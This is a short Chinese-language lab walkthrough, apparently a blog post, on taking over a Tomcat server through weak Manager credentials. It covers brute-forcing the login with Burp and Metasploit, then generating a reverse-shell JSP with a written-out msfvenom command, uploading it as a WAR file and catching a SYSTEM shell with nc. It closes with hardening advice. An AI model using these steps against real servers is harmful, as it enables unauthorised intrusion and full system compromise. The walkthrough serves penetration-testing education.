利用Tomcat弱口令上传文件获取系统权限
1. 漏洞详情:
当tomcat的manager管理界面存在弱口令时,可以登录后台上传war包,上传的war文件会自动解压至web目录下,可以访问上传木马文件并执行,获取系统权限,一般都是服务器的最高权限。
2. 环境搭建:
(1) 服务器:windows_server2008
(2) 安装所需环境:jdk+apache+tomcat 配置jdk+Apache Tomcat 8.0.20,能正常访问tomcat默认界面。
这里要注意一个事情;tomcat的manager默认情况下是无法登录的,因为在tomcat manager的默认配置中,用户信息是被注释没有生效的,修改tomcat/conf目录下的tomcat-user.xml文件如下;
并且默认的配置中,用户归属也是有问题的,用户tomcat所属的规则是“tomcat”而登录管理界面需要的是规则是“manager”的,所以要添加一个规则“manager并且修改用户如下;
还要修改context.xml文件修改允许访问的地址,默认的是限制所有地址访问manager页面;
这样可以正常访问并且通过弱口令登录tomcat manager页面了;
还有一个Host Manager的功能和Manager的是一样的,Host Manager的配置在webapp目录下的hostmanager中,修改按照manager的配置一样就行
3. 漏洞检测:
burp抓包,发现Tomcat Manager的登录界面用的Basic认证,并且用的时base64的加密方式;
这样在**的时候选择base64编码就可以进行**;
其实msf中还有更好用的工具,MSF中的tomcat_mgr_login模块可以很方便地跑字典做**;
配置好之后一个run让它跑就完事儿~~
登录manager之后可以看到tomcat上运行着的web;
在manager页面有一个上传war包的地方,一般tomcat管理员可以使用该功能上传war包进行网站建设,上传后的war包会自动解压,我们可以使用该功能上传木马;
制作jsp木马(因为现在能确定可以运行jsp);
kali里面直接输入:msfvenom -p windows/x64/shell_reverse_tcp lhost=本机地址 lport=监听端口 -f 木马格式 -o 木马名字
这里有个细节,做渗透地时候尽量不要随意传大马,能反弹shell的会比较安全~~~
然后把生成的jsp木马使用java压缩成war包;
猴赛雷。。。
上传后可以看到目录,直接访问就等于执行木马了;
使用nc监听可以直接收到反弹的shell,一般直接就是系统最高权限;
4. 漏洞加固:
对于弱口令可以加强密码管理,如果想从根本解决这个隐患可以选择放弃使用manager功能或者在manager的配置文件contex.xml中设置白名单来限制访问manager,这样非信任的IP访问manager都会403 access denied。
这么简单就拿了最高权限,香啊,造啊~~~
这哥漏洞主要还是配置不当,在很多内网环境和互联网环境都是比较多的。。。